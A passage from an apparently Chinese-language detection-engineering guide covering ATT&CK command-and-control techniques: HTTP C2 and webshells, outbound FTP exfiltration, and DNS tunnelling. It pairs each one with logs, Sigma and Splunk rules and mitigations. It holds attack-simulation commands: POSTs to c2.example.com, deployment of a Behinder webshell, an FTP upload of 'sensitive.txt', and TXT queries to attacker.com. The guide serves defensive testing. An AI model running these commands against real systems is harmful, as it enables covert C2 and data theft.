sid:1000003;) ``` 6. **工具支持**: - 使用Wireshark分析DNS、ICMP、HTTP流量。 - 使用Sysinternals Process Monitor捕获进程网络活动。 - 使用Zeek生成网络流量日志,分析协议行为。 7. **威胁情报整合**: - 检查目标IP/域名是否与已知C2服务器匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御备用通信通道需从网络分段、流量监控和进程限制入手: 1. **限制出站协议** - 配置防火墙阻止非必要协议(如ICMP、DNS到非信任服务器): ```powershell New-NetFirewallRule -DisplayName "Block ICMP Outbound" -Direction Outbound -Action Block -Protocol ICMP ``` 2. **限制工具执行** - 使用AppLocker限制`powershell.exe`和`nslookup.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "%SystemRoot%\System32\nslookup.exe" -Action Deny -User "Everyone" ``` 3. **监控网络流量** - 部署IDS/IPS(如Snort、Suricata)检测DNS隧道或异常HTTP流量。 - 配置Sysmon监控非常规协议: ```xml udp 53 ``` 4. **加强日志监控** - 启用Sysmon事件ID 1、3和PowerShell事件ID 4104,检测C2通信。 - 配置SIEM实时告警异常DNS查询或HTTP POST请求。 - 使用EDR工具检测可疑网络行为。 5. **定期审计** - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 } ``` - 检查DNS查询: ```powershell Get-DnsServerQueryStatistics ``` 6. **补丁管理** - 确保系统安装最新补丁,修复可能被利用的协议漏洞。 ## 参考推荐 - MITRE ATT&CK: T1008 ================================================ FILE: Windows/12命令与控制/T1071.001-应用层协议-网络协议.md ================================================ # T1071.001-应用层协议-网络协议 ## 描述 攻击者利用与Web流量相关的应用层协议(如HTTP、HTTPS)进行命令与控制(C2)通信,通过与合法流量混合以逃避检测或网络过滤(T1071.001)。HTTP/HTTPS协议因其普遍性和灵活性(如多样的头字段、请求体)常被滥用,攻击者可将C2指令或数据嵌入协议流量,伪装成正常Web请求。常见场景包括使用Webshell(如哥斯拉、冰蝎)通过HTTP POST请求与攻击者控制的服务器通信,执行远程指令或渗出数据。 由于HTTP/HTTPS流量在企业网络中普遍存在,且通常被防火墙允许,攻击者可利用其高隐蔽性规避传统检测。检测重点在于分析异常网络流量模式、Webshell相关进程行为及协议内容偏差。 ## 测试案例 1. **Webshell通信模拟** 使用哥斯拉或冰蝎Webshell管理工具,通过HTTP/HTTPS与C2服务器通信,执行命令或上传文件。 2. **HTTP POST数据渗出** 使用PowerShell或curl通过HTTP POST请求向外部服务器发送数据,模拟C2通信。 3. **异常头字段利用** 在HTTP请求的自定义头(如User-Agent)中嵌入编码指令。 ### 示例命令 - **Webshell部署**(需Web服务器环境,如IIS/Apache): - 部署冰蝎Webshell(`shell.jsp`)到Web目录: ```bash copy shell.jsp C:\inetpub\wwwroot\ ``` - 使用冰蝎客户端连接:`http:///shell.jsp`。 - **HTTP POST模拟**(PowerShell): ```powershell $url = "http://c2.example.com/command" $data = @{cmd="whoami"} Invoke-WebRequest -Uri $url -Method Post -Body $data ``` - **清理**: ```powershell Remove-Item C:\inetpub\wwwroot\shell.jsp -ErrorAction Ignore ``` ## 检测日志 **Netflow日志** - 记录HTTP/HTTPS流量,捕获源/目标IP、端口、数据量及会话时长。 **Sysmon日志** - **事件ID 1**:记录进程创建,如`powershell.exe`、`w3wp.exe`(IIS进程)或Webshell相关进程。 - **事件ID 3**:记录网络连接,捕获HTTP/HTTPS请求的目标IP/域名。 - **事件ID 11**:记录Webshell文件创建或修改。 **Windows安全日志** - **事件ID 4688**:记录可疑进程创建(如`cmd.exe`由`w3wp.exe`触发)。 **PowerShell日志** - **事件ID 4104**:记录PowerShell脚本执行,如`Invoke-WebRequest`。 **Web服务器日志** - IIS/Apache日志记录HTTP请求,捕获异常URL、User-Agent或POST数据。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用PowerShell日志:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 配置Sysmon监控Web服务器进程(如`w3wp.exe`)及其子进程。 - 启用IIS日志:`%SystemDrive%\inetpub\logs\LogFiles`。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2022(运行IIS)。 - **权限**:用户权限(部署Webshell需Web目录写权限,管理员权限可简化配置)。 - **工具**:PowerShell、`curl.exe`(系统自带)、Sysmon、Wireshark、冰蝎Webshell、测试C2服务器。 - **Web服务器**:配置IIS(`Install-WindowsFeature -Name Web-Server`)。 - **日志**:启用Sysmon、PowerShell日志、IIS日志,配置网络监控。 ### 攻击步骤 1. **部署Webshell** - 将冰蝎Webshell(`shell.jsp`)复制到IIS目录: ```cmd copy shell.jsp C:\inetpub\wwwroot\ ``` - 使用冰蝎客户端连接:`http:///shell.jsp`。 2. **模拟C2通信** - 执行PowerShell HTTP POST请求: ```powershell $url = "http://127.0.0.1:8080/command" $data = @{cmd="whoami"} Invoke-WebRequest -Uri $url -Method Post -Body $data ``` 3. **验证结果** - 检查IIS日志: ```powershell Get-Content C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log | Select-String "shell.jsp" ``` - 检查Sysmon日志(网络连接): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "powershell.exe|w3wp.exe" } ``` - 检查PowerShell日志: ```powershell Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 -and $_.Message -match "Invoke-WebRequest" } ``` - 检查Netflow(Wireshark过滤`http`或`https`)。 4. **清理** - 删除Webshell: ```cmd del C:\inetpub\wwwroot\shell.jsp ``` - 终止测试进程: ```powershell Stop-Process -Name powershell -Force ``` ### 示例输出 ```powershell Invoke-WebRequest -Uri http://127.0.0.1:8080/command -Method Post -Body @{cmd="whoami"} StatusCode : 200 StatusDescription : OK Content : contoso\user ``` ```cmd type C:\inetpub\logs\LogFiles\W3SVC1\u_ex250610.log 2025-06-10 03:00:00 127.0.0.1 POST /shell.jsp - 80 - 127.0.0.1 Mozilla/5.0+(Behinder) 200 0 0 123 ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 日志留痕 - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 5678 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:8080/command -Method Post -Body @{cmd='whoami'}" ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe DestinationIp: 127.0.0.1 DestinationPort: 8080 Protocol: tcp User: CONTOSO\User ``` - **Sysmon日志(事件ID 1,Webshell子进程)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {abcdef12-3456-7890-abcd-ef1234567890} ProcessId: 6789 Image: C:\Windows\System32\cmd.exe CommandLine: cmd.exe /c whoami ParentImage: C:\Windows\System32\inetsrv\w3wp.exe User: NT AUTHORITY\NETWORK SERVICE IntegrityLevel: High ``` - **PowerShell日志(事件ID 4104,脚本执行)**: ```plaintext EventID: 4104 Source: Microsoft-Windows-PowerShell Message: Creating Scriptblock text (1 of 1): Invoke-WebRequest -Uri http://127.0.0.1:8080/command -Method Post -Body @{cmd="whoami"} ScriptBlock ID: {12345678-abcd-1234-abcd-1234567890ab} ``` - **IIS日志(Webshell请求)**: ```plaintext 2025-06-10 03:00:00 127.0.0.1 POST /shell.jsp - 80 - 127.0.0.1 Mozilla/5.0+(Behinder) 200 0 0 123 ``` ## 检测规则/思路 **检测规则** 通过监控异常网络流量、Webshell行为及协议偏差,检测Web协议C2通信。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 3,检测`powershell.exe`或`w3wp.exe`的异常HTTP/HTTPS连接。 - 监控Sysmon事件ID 1,检测Webshell触发的子进程(如`cmd.exe`由`w3wp.exe`启动)。 - 监控PowerShell日志事件ID 4104,检测`Invoke-WebRequest`或`Invoke-RestMethod`。 - 监控Windows安全日志事件ID 4688,检测可疑进程创建。 - 分析Netflow,检查客户端发送数据量远大于接收(如POST请求频繁)。 - 检查IIS日志,识别异常URL、User-Agent或高频POST请求。 2. **Sigma规则(Webshell子进程)**: ```yaml title: Webshell可疑子进程检测 id: v90123456-abcd-7890-1234-56789012cdef status: stable description: 检测Web服务器进程(如w3wp.exe)触发的可疑子进程 references: - https://attack.mitre.org/techniques/T1071/001/ tags: - attack.command_and_control - attack.t1071.001 logsource: product: windows service: sysmon detection: selection: EventID: 1 ParentImage|endswith: '\w3wp.exe' Image|endswith: - '\cmd.exe' - '\powershell.exe' - '\whoami.exe' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法Web应用调用 - 管理员调试 level: high ``` 3. **Sigma规则(PowerShell HTTP C2)**: ```yaml title: PowerShell HTTP C2通信检测 id: w01234567-abcd-8901-2345-67890123efgh status: experimental description: 检测PowerShell通过HTTP/HTTPS执行C2通信 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\powershell.exe' CommandLine|contains: - 'Invoke-WebRequest' - 'Invoke-RestMethod' - '-Method Post' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法自动化脚本 - 管理员网络测试 level: high ``` 4. **SIEM规则**: - 检测Webshell和HTTP C2行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=1 ParentImage="*w3wp.exe" Image IN ("*cmd.exe","*powershell.exe")) OR (EventID=3 Image="*powershell.exe" CommandLine IN ("*Invoke-WebRequest*","*-Method Post*"))) | stats count by Image, CommandLine, ParentImage, DestinationIp, User, ComputerName ``` 5. **网络流量分析**: - 检查HTTP POST请求频率或数据量: ```bash tshark -f "tcp port 80 or 443" -Y "http.request.method == POST" ``` - 检查异常User-Agent: ```bash tshark -f "tcp port 80 or 443" -Y "http.user_agent contains Behinder" ``` - 使用IDS规则检测异常HTTP流量: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443 (msg:"Suspicious HTTP POST"; content:"POST"; http_method; sid:1000004;) ``` 6. **工具支持**: - 使用Wireshark分析HTTP/HTTPS流量,检查请求头和数据。 - 使用Sysinternals Process Monitor捕获Web服务器进程活动。 - 使用Zeek生成HTTP日志,分析URL和User-Agent模式。 7. **威胁情报整合**: - 检查目标IP/域名是否与已知C2服务器匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御Web协议C2通信需从网络分段、进程监控和协议分析入手: 1. **限制出站HTTP/HTTPS** - 配置防火墙限制非必要域名: ```powershell New-NetFirewallRule -DisplayName "Block Unknown HTTP" -Direction Outbound -Action Block -Protocol TCP -RemotePort 80,443 ``` 2. **限制Web服务器进程** - 使用AppLocker限制`w3wp.exe`子进程: ```powershell New-AppLockerPolicy -RuleType Path -Path "%SystemRoot%\System32\cmd.exe" -Action Deny -User "NETWORK SERVICE" ``` 3. **监控Webshell文件** - 使用文件完整性监控(FIM)检测Web目录文件变更: ```powershell Get-FileHash C:\inetpub\wwwroot\*.jsp | Export-Csv baseline.csv ``` - 配置Sysmon监控Web目录: ```xml \inetpub\wwwroot\ ``` 4. **加强日志监控** - 启用Sysmon事件ID 1、3、11和PowerShell事件ID 4104,检测C2通信。 - 配置SIEM实时告警Webshell子进程或异常HTTP请求。 - 使用EDR工具检测Web服务器异常行为。 5. **定期审计** - 检查Web服务器日志: ```powershell Get-Content C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log | Select-String "POST" ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 } ``` 6. **补丁管理** - 确保Web服务器和系统安装最新补丁,修复Webshell相关漏洞。 ## 参考推荐 - MITRE ATT&CK: T1071.001 - Atomic Red Team: Webshell Tests ================================================ FILE: Windows/12命令与控制/T1071.002-win-内网FTP链接到公网行为.md ================================================ # T1071.002-Win-内网FTP链接到公网行为 ## 描述 攻击者利用文件传输协议(如FTP、FTPS、TFTP)作为应用层协议进行命令与控制(C2)通信或数据渗出(T1071.002)。FTP等协议因其在企业环境中用于合法文件传输而常见,攻击者可通过嵌入C2指令或数据于协议流量或传输文件中,伪装成正常流量以规避检测。由于FTP是明文协议,传输的用户名、密码及数据易被拦截,增加安全风险。攻击者可能利用FTP从受害网络窃取数据、下载恶意工具,或与受控系统通信。 检测重点在于识别内网主机通过FTP(端口20/21)连接公网的异常行为,分析流量模式(如大流量上传)、明文凭据及可疑进程的网络活动。 ## 测试案例 1. **FTP数据渗出** 使用FTP客户端(如`ftp.exe`)从内网上传敏感文件到公网FTP服务器。 2. **FTP C2通信** 通过FTP上传/下载包含C2指令的伪装文件(如`.txt`)。 3. **明文凭据捕获** 使用明文FTP登录公网服务器,模拟凭据暴露。 ### 示例命令 - **FTP文件上传**(需用户权限): ```cmd echo open ftp.example.com> ftp.txt echo user ftpuser password>> ftp.txt echo put C:\Temp\sensitive.txt>> ftp.txt echo quit>> ftp.txt ftp -s:ftp.txt ``` - **清理**: ```cmd del ftp.txt del C:\Temp\sensitive.txt ``` ## 检测日志 **Netflow日志** - 记录TCP流量,捕获源/目标IP、端口(20/21)、数据量及会话时长。 **Sysmon日志** - **事件ID 1**:记录FTP客户端进程(如`ftp.exe`)创建及命令行参数。 - **事件ID 3**:记录网络连接,捕获FTP流量(端口20/21)的目标IP/域名。 - **事件ID 11**:记录临时文件创建(如FTP脚本文件)。 **Windows安全日志** - **事件ID 4688**:记录`ftp.exe`或其他FTP客户端进程创建。 **PowerShell日志** - **事件ID 4104**:记录PowerShell脚本执行(如使用`Invoke-Ftp`)。 **网络日志** - 捕获FTP明文流量,检查用户名、密码及传输文件内容。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用PowerShell日志:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 配置Sysmon监控`ftp.exe`及网络连接(端口20/21)。 - 使用IDS/IPS(如Snort)记录FTP流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2022。 - **权限**:用户权限(FTP操作无需管理员)。 - **工具**:`ftp.exe`(系统自带)、Sysmon、Wireshark、公网FTP服务器(如`ftp.example.com`)。 - **文件**:创建测试文件(如`C:\Temp\sensitive.txt`)。 - **日志**:启用Sysmon、Windows安全日志、PowerShell日志,配置网络监控。 ### 攻击步骤 1. **创建测试文件** ```cmd echo Test data > C:\Temp\sensitive.txt ``` 2. **执行FTP上传** - 创建FTP脚本并执行: ```cmd echo open ftp.example.com> ftp.txt echo user ftpuser password>> ftp.txt echo put C:\Temp\sensitive.txt>> ftp.txt echo quit>> ftp.txt ftp -s:ftp.txt ``` 3. **验证结果** - 检查Sysmon日志(网络连接): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "ftp.exe" } ``` - 检查Windows安全日志: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "ftp.exe" } ``` - 检查Netflow(Wireshark过滤`tcp.port == 20 or tcp.port == 21`)。 - 验证FTP服务器是否收到文件。 4. **清理** - 删除脚本和测试文件: ```cmd del ftp.txt del C:\Temp\sensitive.txt ``` ### 示例输出 ```cmd ftp> open ftp.example.com Connected to ftp.example.com. 220 FTP Server ready. User: ftpuser 331 Password required for ftpuser. Password: password 230 User ftpuser logged in. ftp> put C:\Temp\sensitive.txt 200 PORT command successful. 226 Transfer complete. ftp> quit 221 Goodbye. ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 日志留痕 - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 7890 Image: C:\Windows\System32\ftp.exe CommandLine: ftp -s:ftp.txt ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\ftp.exe DestinationIp: DestinationPort: 21 Protocol: tcp User: CONTOSO\User ``` - **Sysmon日志(事件ID 11,文件创建)**: ```plaintext EventID: 11 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\cmd.exe TargetFilename: C:\Temp\ftp.txt User: CONTOSO\User ``` - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 Subject: Security ID: CONTOSO\User Account Name: User Account Domain: CONTOSO Logon ID: 0x123456 Process Information: New Process ID: 0x1f38 New Process Name: C:\Windows\System32\ftp.exe Token Elevation Type: TokenElevationTypeLimited (3) Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x1e2c Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: ftp -s:ftp.txt ``` ## 检测规则/思路 **检测规则** 通过监控内网到公网的FTP流量、可疑进程及明文凭据,检测异常行为。以下是具体思路: 1. **日志分析**: - 监控Netflow,检测内网IP(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)到公网的FTP流量(端口20/21)。 - 监控Sysmon事件ID 3,检测`ftp.exe`或第三方FTP客户端(如FileZilla)的网络连接。 - 监控Sysmon事件ID 1,检测`ftp.exe`的命令行参数(如`-s:`)。 - 监控Sysmon事件ID 11,检测FTP脚本文件创建。 - 监控Windows安全日志事件ID 4688,检测FTP客户端进程创建。 - 使用Wireshark捕获FTP明文流量,检查用户名、密码及文件内容。 2. **Sigma规则(内网FTP到公网)**: ```yaml title: 内网FTP链接到公网行为检测 id: x12345678-abcd-9012-3456-78901234ijkl status: stable description: 检测内网主机通过FTP连接公网的行为 references: - https://attack.mitre.org/techniques/T1071/002/ - https://www.elastic.co/guide/en/siem/guide/current/ftp-file-transfer-protocol-activity-to-the-internet.html tags: - attack.command_and_control - attack.t1071.002 logsource: product: network detection: selection1: network.transport: tcp destination.port: - 20 - 21 selection2: source.ip: - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 selection3: destination.ip: - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 condition: (selection1 and selection2) and not selection3 fields: - source.ip - destination.ip - destination.port falsepositives: - 合法FTP传输 - 管理员测试 level: medium ``` 3. **Sigma规则(FTP客户端进程)**: ```yaml title: FTP客户端进程执行检测 id: y23456789-abcd-0123-4567-89012345klmn status: experimental description: 检测FTP客户端(如ftp.exe)执行,可能用于C2或数据渗出 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\ftp.exe' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法文件传输 - 管理员操作 level: medium ``` 4. **Elastic Rule Query**: ```kql network.transport: tcp and destination.port: (20 or 21) and ( network.direction: outbound or ( source.ip: (10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) and not destination.ip: (10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) ) ) ``` 5. **SIEM规则**: - 检测FTP到公网行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=3 destination_port IN (20,21) source_ip IN ("10.0.0.0/8","172.16.0.0/12","192.168.0.0/16") NOT destination_ip IN ("10.0.0.0/8","172.16.0.0/12","192.168.0.0/16")) OR (EventID=1 Image="*ftp.exe") | stats count by Image, CommandLine, source_ip, destination_ip, destination_port, User ``` 6. **网络流量分析**: - 检查FTP流量: ```bash tshark -f "tcp port 20 or 21" -Y "ftp" ``` - 检查明文凭据: ```bash tshark -f "tcp port 21" -Y "ftp.request.command in {USER PASS}" ``` - 使用IDS规则检测FTP流量: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 20,21 (msg:"Suspicious FTP Outbound"; content:"USER"; sid:1000005;) ``` 7. **工具支持**: - 使用Wireshark捕获FTP明文流量,分析用户名、密码及文件。 - 使用Sysinternals Process Monitor捕获`ftp.exe`活动。 - 使用Zeek生成FTP日志,分析会话模式。 8. **威胁情报整合**: - 检查目标IP/域名是否与已知恶意FTP服务器匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御FTP C2或数据渗出需从协议限制、流量监控和凭据保护入手: 1. **限制FTP使用** - 配置防火墙阻止出站FTP流量: ```powershell New-NetFirewallRule -DisplayName "Block FTP Outbound" -Direction Outbound -Action Block -Protocol TCP -RemotePort 20,21 ``` - 禁用`ftp.exe`: ```powershell icacls "%SystemRoot%\System32\ftp.exe" /deny "Everyone:(X)" ``` 2. **强制使用FTPS** - 配置FTP服务器要求SSL/TLS加密,防止明文传输: ```powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\FTP\Server" -Name RequireSsl -Value 1 ``` 3. **监控FTP活动** - 部署IDS/IPS检测FTP明文流量或异常会话。 - 配置Sysmon监控`ftp.exe`: ```xml ftp.exe ``` 4. **加强日志监控** - 启用Sysmon事件ID 1、3、11和Windows事件ID 4688,检测FTP行为。 - 配置SIEM实时告警内网到公网的FTP流量。 - 使用EDR工具检测异常文件传输。 5. **定期审计** - 检查FTP客户端使用: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "ftp.exe" } ``` - 检查网络流量: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match ":21" } ``` 6. **补丁管理** - 确保系统和FTP客户端安装最新补丁,修复协议漏洞。 ## 参考推荐 - MITRE ATT&CK: T1071.002 - Elastic: FTP Activity Detection ================================================ FILE: Windows/12命令与控制/T1071.004-win-内网主机向公网DNS发起可疑请求行为.md ================================================ # T1071.004-Win-内网主机向公网DNS发起可疑请求行为 ## 描述 攻击者利用域名系统(DNS)应用层协议进行命令与控制(C2)通信或数据渗出,通过DNS隧道技术将指令或数据嵌入DNS查询/响应,伪装成正常流量以规避检测(T1071.004)。DNS协议因其在网络中管理域名解析的普遍性,常被允许通过防火墙,甚至在身份验证前即可通信。攻击者可利用DNS数据包的字段(如TXT记录)隐藏数据,与受控系统通信。DNS隧道的典型特征包括高频查询、异常域名或编码数据。 内网主机直接向公网DNS服务器(而非企业指定的DNS服务器)发起请求是非典型行为,可能指示恶意软件、C2通信、数据渗出或配置错误。检测重点在于识别内网到公网的DNS流量(端口53)、异常查询模式及相关进程行为。 ## 测试案例 1. **DNS隧道模拟** 使用工具(如`dnscat2`)或手动`nslookup`通过TXT记录向公网DNS服务器发送编码数据。 2. **异常DNS查询** 使用PowerShell或`nslookup`发起高频DNS查询,模拟C2心跳或数据渗出。 3. **公网DNS服务器访问** 配置主机使用公网DNS(如8.8.8.8),绕过企业DNS服务器。 ### 示例命令 - **DNS查询模拟**(需用户权限): ```cmd nslookup -type=TXT exfil.abcdef123.attacker.com 8.8.8.8 ``` - **高频DNS查询**(PowerShell): ```powershell while ($true) { Resolve-DnsName -Name "test$((Get-Random)).attacker.com" -Type TXT -Server 8.8.8.8 Start-Sleep -Milliseconds 500 } ``` - **清理**: ```powershell Stop-Process -Name powershell -Force ``` ## 检测日志 **Netstream日志** - 记录UDP/TCP 53端口流量,捕获源/目标IP、查询名称、查询类型(如TXT)、响应时间。 **Sysmon日志** - **事件ID 1**:记录DNS查询相关进程(如`nslookup.exe`、`powershell.exe`)创建及命令行参数。 - **事件ID 3**:记录网络连接,捕获DNS流量(目标IP:53)。 - **事件ID 15**:记录DNS查询事件(需启用Sysmon DNS监控)。 **Windows安全日志** - **事件ID 4688**:记录DNS客户端进程(如`nslookup.exe`)创建。 **PowerShell日志** - **事件ID 4104**:记录PowerShell脚本执行(如`Resolve-DnsName`)。 **DNS服务器日志** - 捕获异常查询(如高频子域名、TXT记录)。 **配置日志记录** - 启用命令行记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用PowerShell日志:`计算机配置 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 配置Sysmon启用DNS查询监控: ```xml ``` - 配置IDS/IPS或代理服务器记录DNS流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2022。 - **权限**:用户权限(DNS查询无需管理员)。 - **工具**:`nslookup.exe`、`powershell.exe`(系统自带)、Sysmon、Wireshark、公网DNS服务器(如8.8.8.8)。 - **网络**:可控网络环境,允许出站53端口。 - **日志**:启用Sysmon、Windows安全日志、PowerShell日志,配置DNS和流量监控。 ### 攻击步骤 1. **执行DNS查询** - 模拟单次TXT查询: ```cmd nslookup -type=TXT test.attacker.example.com 8.8.8.8 ``` 2. **模拟高频DNS隧道** - 执行PowerShell脚本: ```powershell while ($true) { Resolve-DnsName -Name "test$((Get-Random)).attacker.example.com" -Type TXT -Server 8.8.8.8 Start-Sleep -Milliseconds 1000 } ``` 3. **验证结果** - 检查Sysmon日志(DNS查询): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 15 -and $_.Message -match "attacker.example.com" } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match ":53" } ``` - 检查PowerShell日志: ```powershell Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 -and $_.Message -match "Resolve-DnsName" } ``` - 检查Netflow(Wireshark过滤`udp.port == 53`)。 4. **清理** - 终止脚本: ```powershell Stop-Process -Name powershell -Force ``` - 恢复DNS配置(若修改): ```powershell Set-DnsClientServerAddress -InterfaceIndex (Get-NetAdapter).InterfaceIndex -ResetServerAddresses ``` ### 示例输出 ```cmd nslookup -type=TXT test.attacker.example.com 8.8.8.8 Server: google-public-dns-a.google.com Address: 8.8.8.8 test.attacker.example.com text = "exfil-data-123" ``` ```powershell Resolve-DnsName -Name test123.attacker.example.com -Type TXT -Server 8.8.8.8 Name Type TTL Section Strings ---- ---- --- ------- ------- test123.attacker.example.com TXT 300 Text exfil-data-123 ``` **注意**:测试需在合法授权环境进行,替换`attacker.example.com`为测试域名。 ## 日志解析 - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:10:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 9012 Image: C:\Windows\System32\nslookup.exe CommandLine: nslookup -type=TXT test.attacker.example.com 8.8.8.8 ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:10:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\nslookup.exe DestinationIp: 8.8.8.8 DestinationPort: 53 Protocol: udp User: CONTOSO\User ``` - **Sysmon日志(事件ID 15,DNS查询)**: ```plaintext EventID: 15 UtcTime: 2025-06-10 03:10:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\nslookup.exe QueryName: test.attacker.example.com QueryType: TXT QueryResults: exfil-data-123 User: CONTOSO\User ``` - **PowerShell日志(事件ID 4104,脚本执行)**: ```plaintext EventID: 4104 Source: Microsoft-Windows-PowerShell Message: Creating Scriptblock text (1 of 1): Resolve-DnsName -Name "test123.attacker.example.com" -Type TXT -Server 8.8.8.8 ScriptBlock ID: {abcdef12-3456-7890-abcd-ef1234567890} ``` ## 检测规则/思路 **检测规则** 通过监控内网到公网的DNS流量、异常查询模式及相关进程,检测DNS隧道或可疑行为。以下是具体思路: 1. **日志分析**: - 监控Netflow,检测内网IP(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)到公网DNS服务器(非内网IP)的53端口流量。 - 监控Sysmon事件ID 15,检测异常DNS查询(如TXT记录、高频子域名)。 - 监控Sysmon事件ID 3,检测`nslookup.exe`或`powershell.exe`的DNS连接。 - 监控Sysmon事件ID 1,检测DNS客户端进程的命令行参数。 - 监控PowerShell日志事件ID 4104,检测`Resolve-DnsName`或类似命令。 - 使用Wireshark分析DNS流量,检查高频查询或异常TXT记录。 2. **Sigma规则(内网到公网DNS)**: ```yaml title: 内网主机向公网DNS发起可疑请求检测 id: z34567890-abcd-1234-5678-90123456mnop status: stable description: 检测内网主机直接向公网DNS服务器发起请求 references: - https://attack.mitre.org/techniques/T1071/004/ - https://www.elastic.co/guide/en/siem/guide/current/dns-activity-to-the-internet.html tags: - attack.command_and_control - attack.t1071.004 logsource: product: network detection: selection1: destination.port: 53 selection2: source.ip: - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 selection3: destination.ip: - 10.0.0.0/8 - 127.0.0.0/8 - 169.254.169.254/32 - 172.16.0.0/12 - 192.168.0.0/16 - 224.0.0.251 - 224.0.0.252 - ::1 - 255.255.255.255 - ff02::fb condition: selection1 and selection2 and not selection3 fields: - source.ip - destination.ip - 